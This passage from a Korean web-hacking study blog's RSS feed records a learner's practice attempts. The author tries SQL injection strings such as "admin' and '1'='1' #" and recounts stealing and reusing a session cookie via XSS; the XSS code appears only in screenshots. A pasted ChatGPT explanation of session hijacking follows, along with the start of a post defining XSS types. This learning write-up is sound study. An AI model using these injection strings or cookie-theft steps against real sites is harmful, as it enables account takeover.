&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 히든값을 바꾸면 되려나?!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;640&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q532K/dJMcagSs0g8/k0wdhQg8CQNp9IJpvjtxo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q532K/dJMcagSs0g8/k0wdhQg8CQNp9IJpvjtxo1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q532K/dJMcagSs0g8/k0wdhQg8CQNp9IJpvjtxo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq532K%2FdJMcagSs0g8%2Fk0wdhQg8CQNp9IJpvjtxo1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;640&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;640&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안됨..ㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 이건 왜 안되는지 모르겠다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웩&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1098&quot; data-origin-height=&quot;368&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TLN2j/dJMcaaxWZ8V/MHxoQQaJWg4t1WcipVSCG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TLN2j/dJMcaaxWZ8V/MHxoQQaJWg4t1WcipVSCG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TLN2j/dJMcaaxWZ8V/MHxoQQaJWg4t1WcipVSCG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTLN2j%2FdJMcaaxWZ8V%2FMHxoQQaJWg4t1WcipVSCG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1098&quot; height=&quot;368&quot; data-origin-width=&quot;1098&quot; data-origin-height=&quot;368&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;num=64 or 1=1 도 해봤는데 안되넹&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른사람의 쿠키로 로그인해보자&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;843&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bF2owp/dJMcaiQehu9/SCZKXassQC8ufBlqsbsmJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bF2owp/dJMcaiQehu9/SCZKXassQC8ufBlqsbsmJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bF2owp/dJMcaiQehu9/SCZKXassQC8ufBlqsbsmJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbF2owp%2FdJMcaiQehu9%2FSCZKXassQC8ufBlqsbsmJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;974&quot; height=&quot;843&quot; data-origin-width=&quot;974&quot; data-origin-height=&quot;843&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 쿠키탈취를 위해서 크사를 활용해보았다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인하면 스크립트 태그로 index.php에 보내주는걸 활용해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키 탈취하는 코드를 넣어주고 forward를 눌렀더니&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2519&quot; data-origin-height=&quot;829&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uENrn/dJMcabp6t6t/Ka9kmpiNsT2ebBIzBcoRXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uENrn/dJMcabp6t6t/Ka9kmpiNsT2ebBIzBcoRXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uENrn/dJMcabp6t6t/Ka9kmpiNsT2ebBIzBcoRXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuENrn%2FdJMcabp6t6t%2FKa9kmpiNsT2ebBIzBcoRXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2519&quot; height=&quot;829&quot; data-origin-width=&quot;2519&quot; data-origin-height=&quot;829&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;암튼 1111사용자에 대한 쿠키를 알아냈다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이걸 활용해서 1로 로그인한다음에 쿠키값을 바꿔줘보자&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1107&quot; data-origin-height=&quot;888&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfyldR/dJMcab4FZ9X/lLmzUEHDAQ4Kxsq5skQwLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfyldR/dJMcab4FZ9X/lLmzUEHDAQ4Kxsq5skQwLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfyldR/dJMcab4FZ9X/lLmzUEHDAQ4Kxsq5skQwLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfyldR%2FdJMcab4FZ9X%2FlLmzUEHDAQ4Kxsq5skQwLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1107&quot; height=&quot;888&quot; data-origin-width=&quot;1107&quot; data-origin-height=&quot;888&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바꾸고 로그인&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1274&quot; data-origin-height=&quot;1063&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4Oll8/dJMcaduBcM2/4TKtz58J2rXjfKSK1uKHc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4Oll8/dJMcaduBcM2/4TKtz58J2rXjfKSK1uKHc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4Oll8/dJMcaduBcM2/4TKtz58J2rXjfKSK1uKHc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4Oll8%2FdJMcaduBcM2%2F4TKtz58J2rXjfKSK1uKHc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1274&quot; height=&quot;1063&quot; data-origin-width=&quot;1274&quot; data-origin-height=&quot;1063&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엥&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2261&quot; data-origin-height=&quot;1010&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cgaeUy/dJMcabp6uet/sgBHrSBKCgUdTLnUPkKxU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cgaeUy/dJMcabp6uet/sgBHrSBKCgUdTLnUPkKxU1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cgaeUy/dJMcabp6uet/sgBHrSBKCgUdTLnUPkKxU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcgaeUy%2FdJMcabp6uet%2FsgBHrSBKCgUdTLnUPkKxU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2261&quot; height=&quot;1010&quot; data-origin-width=&quot;2261&quot; data-origin-height=&quot;1010&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;몬소리냐&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;595&quot; data-origin-height=&quot;284&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4USBe/dJMb99Z73LR/yg0yUJWgvnQ39YjN1AxJv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4USBe/dJMb99Z73LR/yg0yUJWgvnQ39YjN1AxJv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4USBe/dJMb99Z73LR/yg0yUJWgvnQ39YjN1AxJv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4USBe%2FdJMb99Z73LR%2Fyg0yUJWgvnQ39YjN1AxJv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;595&quot; height=&quot;284&quot; data-origin-width=&quot;595&quot; data-origin-height=&quot;284&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;자꾸&lt;/span&gt;&amp;nbsp;로그인 안된채로 인덱스 창으로 보내져버림&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지피티한테 물어보니까 알랴줌,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;89&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;이 메시지는 핵심적으로 &lt;b&gt;PHP 세션 처리 방식 때문에 생기는 경고&lt;/b&gt;입니다. 단순히 &amp;ldquo;에러&amp;rdquo;라기보다, &lt;b&gt;보안/구현 문제를 알려주는 warning&lt;/b&gt;이에요.&lt;/p&gt;
&lt;p data-end=&quot;108&quot; data-start=&quot;91&quot; data-ke-size=&quot;size18&quot;&gt;왜 이런 메시지가 뜨냐면&lt;/p&gt;
&lt;p data-end=&quot;119&quot; data-start=&quot;109&quot; data-ke-size=&quot;size16&quot;&gt;당신이 말한 상황:&lt;/p&gt;
&lt;blockquote data-end=&quot;141&quot; data-start=&quot;120&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;p data-end=&quot;141&quot; data-start=&quot;122&quot; data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;다른 사람의 쿠키로 로그인 시도&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-end=&quot;231&quot; data-start=&quot;143&quot; data-ke-size=&quot;size16&quot;&gt;이건 내부적으로 &lt;b&gt;세션 하이재킹(Session Hijacking)&lt;/b&gt; 시도와 같은 형태인데, PHP가 이를 정상적으로 처리하지 못하면서 경고를 띄운 겁니다.&lt;/p&gt;
&lt;p data-end=&quot;240&quot; data-start=&quot;233&quot; data-ke-size=&quot;size16&quot;&gt;구체적으로는:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;454&quot; data-start=&quot;242&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;312&quot; data-start=&quot;242&quot;&gt;예전 PHP (4.x 시절)는 register_globals 때문에&lt;br /&gt;쿠키 값 &amp;rarr; 자동으로 전역 변수에 들어감&lt;/li&gt;
&lt;li data-end=&quot;342&quot; data-start=&quot;313&quot;&gt;그런데 최신 PHP에서는 이게 &lt;b&gt;완전히 막힘&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;403&quot; data-start=&quot;343&quot;&gt;그래서:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;403&quot; data-start=&quot;352&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;371&quot; data-start=&quot;352&quot;&gt;쿠키에 있는 세션 ID를 넣어도&lt;/li&gt;
&lt;li data-end=&quot;403&quot; data-start=&quot;374&quot;&gt;서버가 기대하는 방식으로 세션 데이터가 안 이어짐&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;454&quot; data-start=&quot;404&quot;&gt;그 결과:&lt;br /&gt;  &amp;ldquo;세션이 이상하다 / 옛날 방식 코드 같다&amp;rdquo; &amp;rarr; warning 출력&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;459&quot; data-start=&quot;456&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-end=&quot;475&quot; data-start=&quot;461&quot; data-ke-size=&quot;size18&quot;&gt;기술적으로 정리하면&lt;/p&gt;
&lt;p data-end=&quot;486&quot; data-start=&quot;476&quot; data-ke-size=&quot;size16&quot;&gt;에러 내용의 의미:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;715&quot; data-start=&quot;488&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;596&quot; data-start=&quot;488&quot;&gt;session extension does not consider global variables as a source of data&lt;br /&gt;&amp;rarr; 전역변수로 세션을 처리하던 방식은 더 이상 안 됨&lt;/li&gt;
&lt;li data-end=&quot;663&quot; data-start=&quot;598&quot;&gt;register_globals is disabled&lt;br /&gt;&amp;rarr; 쿠키/GET/POST 값이 자동으로 변수화되지 않음&lt;/li&gt;
&lt;li data-end=&quot;715&quot; data-start=&quot;665&quot;&gt;session.bug_compat_42&lt;br /&gt;&amp;rarr; 옛날 방식 호환 옵션 (거의 안 씀)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;720&quot; data-start=&quot;717&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-end=&quot;733&quot; data-start=&quot;722&quot; data-ke-size=&quot;size18&quot;&gt;중요한 포인트&lt;/p&gt;
&lt;p data-end=&quot;749&quot; data-start=&quot;734&quot; data-ke-size=&quot;size16&quot;&gt;이건 단순한 버그가 아니라:&lt;/p&gt;
&lt;p data-end=&quot;778&quot; data-start=&quot;751&quot; data-ke-size=&quot;size16&quot;&gt;  &lt;b&gt;세션이 서버 상태와 맞지 않다는 신호&lt;/b&gt;&lt;/p&gt;
&lt;p data-end=&quot;799&quot; data-start=&quot;780&quot; data-ke-size=&quot;size16&quot;&gt;즉, 다음 중 하나일 가능성이 큼:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;919&quot; data-start=&quot;801&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;846&quot; data-start=&quot;801&quot;&gt;쿠키에 있는 PHPSESSID만 바꿨는데&lt;br /&gt;서버 세션 파일이 없음&lt;/li&gt;
&lt;li data-end=&quot;879&quot; data-start=&quot;847&quot;&gt;IP / User-Agent / 보안 토큰이 안 맞음&lt;/li&gt;
&lt;li data-end=&quot;901&quot; data-start=&quot;880&quot;&gt;세션 내부에 추가 검증 로직 있음&lt;/li&gt;
&lt;li data-end=&quot;919&quot; data-start=&quot;902&quot;&gt;애초에 세션이 이미 만료됨&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-end=&quot;924&quot; data-start=&quot;921&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-end=&quot;932&quot; data-start=&quot;926&quot; data-ke-size=&quot;size18&quot;&gt;결론&lt;/p&gt;
&lt;p data-end=&quot;953&quot; data-start=&quot;933&quot; data-ke-size=&quot;size16&quot;&gt;이 메시지는 이렇게 이해하면 정확함:&lt;/p&gt;
&lt;blockquote data-end=&quot;996&quot; data-start=&quot;955&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;p data-end=&quot;996&quot; data-start=&quot;957&quot; data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그 쿠키로는 정상적인 세션을 만들 수 없다 (또는 코드가 구식이다)&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-end=&quot;1001&quot; data-start=&quot;998&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-end=&quot;1013&quot; data-start=&quot;1003&quot; data-ke-size=&quot;size18&quot;&gt;현실적으로는&lt;/p&gt;
&lt;p data-end=&quot;1026&quot; data-start=&quot;1014&quot; data-ke-size=&quot;size16&quot;&gt;요즘 서비스들은 보통:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1079&quot; data-start=&quot;1028&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1040&quot; data-start=&quot;1028&quot;&gt;세션 + IP 체크&lt;/li&gt;
&lt;li data-end=&quot;1061&quot; data-start=&quot;1041&quot;&gt;세션 + User-Agent 체크&lt;/li&gt;
&lt;li data-end=&quot;1071&quot; data-start=&quot;1062&quot;&gt;CSRF 토큰&lt;/li&gt;
&lt;li data-end=&quot;1079&quot; data-start=&quot;1072&quot;&gt;추가 인증&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1125&quot; data-start=&quot;1081&quot; data-ke-size=&quot;size16&quot;&gt;이런 걸 같이 쓰기 때문에&lt;br /&gt;&lt;b&gt;쿠키만 복사해서 로그인하는 건 거의 안 됨&lt;/b&gt;&lt;/p&gt;
&lt;p data-end=&quot;1125&quot; data-start=&quot;1081&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1125&quot; data-start=&quot;1081&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1125&quot; data-start=&quot;1081&quot; data-ke-size=&quot;size16&quot;&gt;그렇다네요&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-end=&quot;1125&quot; data-start=&quot;1081&quot; data-ke-size=&quot;size16&quot;&gt;회원가입할때 ID를 admin' and '1'='1' #로 해보면&lt;/p&gt;
&lt;p data-end=&quot;1125&quot; data-start=&quot;1081&quot; data-ke-size=&quot;size16&quot;&gt;admin계정으로 로그인되지않을까 해서 해보았으나 안됨&lt;/p&gt;
&lt;p data-end=&quot;1125&quot; data-start=&quot;1081&quot; data-ke-size=&quot;size16&quot;&gt;admin&quot; and 1=1 # 로도 해봤ㄴ느데 안된당&lt;/p&gt;
&lt;p data-end=&quot;1125&quot; data-start=&quot;1081&quot; data-ke-size=&quot;size16&quot;&gt;당연히 or도 안됨&lt;/p&gt;
&lt;p data-end=&quot;1125&quot; data-start=&quot;1081&quot; data-ke-size=&quot;size16&quot;&gt;근데 하다보니까 웃긴걸 발견했다ㅡㅡ&lt;/p&gt;
&lt;p data-end=&quot;1125&quot; data-start=&quot;1081&quot; data-ke-size=&quot;size16&quot;&gt;무슨 아이디로 로그인하든간에 PHPSESSID값이 다 똑같네??????&lt;/p&gt;
&lt;p data-end=&quot;1125&quot; data-start=&quot;1081&quot; data-ke-size=&quot;size16&quot;&gt;어떻게 이럴수가???????????&lt;/p&gt;
&lt;p data-end=&quot;1125&quot; data-start=&quot;1081&quot; data-ke-size=&quot;size16&quot;&gt;찾아보니까&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;827&quot; data-origin-height=&quot;437&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yi0PC/dJMb99Tl2IN/soSnCm4nuABinhWAydzo31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yi0PC/dJMb99Tl2IN/soSnCm4nuABinhWAydzo31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yi0PC/dJMb99Tl2IN/soSnCm4nuABinhWAydzo31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fyi0PC%2FdJMb99Tl2IN%2FsoSnCm4nuABinhWAydzo31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;827&quot; height=&quot;437&quot; data-origin-width=&quot;827&quot; data-origin-height=&quot;437&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게만 돼있어서 그랬나봄..&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1012&quot; data-origin-height=&quot;536&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JGbtM/dJMcagZeVJW/xTaK9xbg9V5ACOa7UtHTv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JGbtM/dJMcagZeVJW/xTaK9xbg9V5ACOa7UtHTv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JGbtM/dJMcagZeVJW/xTaK9xbg9V5ACOa7UtHTv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJGbtM%2FdJMcagZeVJW%2FxTaK9xbg9V5ACOa7UtHTv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1012&quot; height=&quot;536&quot; data-origin-width=&quot;1012&quot; data-origin-height=&quot;536&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;setcookie 추가해줬더니&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1119&quot; data-origin-height=&quot;1356&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bamNMI/dJMcaiJuLpf/FbRK41Kv7aCSWdJDRo8tWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bamNMI/dJMcaiJuLpf/FbRK41Kv7aCSWdJDRo8tWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bamNMI/dJMcaiJuLpf/FbRK41Kv7aCSWdJDRo8tWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbamNMI%2FdJMcaiJuLpf%2FFbRK41Kv7aCSWdJDRo8tWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1119&quot; height=&quot;1356&quot; data-origin-width=&quot;1119&quot; data-origin-height=&quot;1356&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키값이 달라지는걸 확인할 수 있었다~~~&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 혹시!!! 이제 쿠키값만가지고 다른 사용자로 로그인이 될까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해서 해봤는뎅&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여전히 안되네 까비&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이거땜에 안된건 아니엿슨..&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/17</guid>
      <comments>https://songtoy.tistory.com/17#entry17comment</comments>
      <pubDate>Sun, 29 Mar 2026 18:09:00 +0900</pubDate>
    </item>
    <item>
      <title>웹 해킹 공부 - XSS</title>
      <link>https://songtoy.tistory.com/16</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;XSS란 &lt;b&gt;악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS는 세가지의 방식이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. &lt;b&gt;Reflected XSS&lt;/b&gt; : 사용자가 보낸 입력이 &lt;b&gt;서버 응답에 반영&lt;/b&gt;되어 브라우저에서 스크립트가 실행되도록 하는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. &lt;b&gt;Stored XSS&lt;/b&gt; : 공격자가 입력한 악성 스크립트가 &lt;b&gt;서버에 저장&lt;/b&gt;되고, 해당 데이터를 조회하는 사용자의 &lt;b&gt;브라우저에서 실행&lt;/b&gt;되도록 하는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. &lt;b&gt;DOM-based XSS&lt;/b&gt; : 사용자 입력값이 클라이언트(&lt;b&gt;JavaScript&lt;/b&gt;)&lt;b&gt;에 의해&lt;/b&gt; &lt;b&gt;DOM에 삽입&lt;/b&gt;되면서 스크립트가 실행되는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 JS는 잘 몰라서,, Reflected XSS와 Stored XSS 먼저 시도해봐야겠다!&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 공격 포인트를 우선 찾아보자~~~~&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
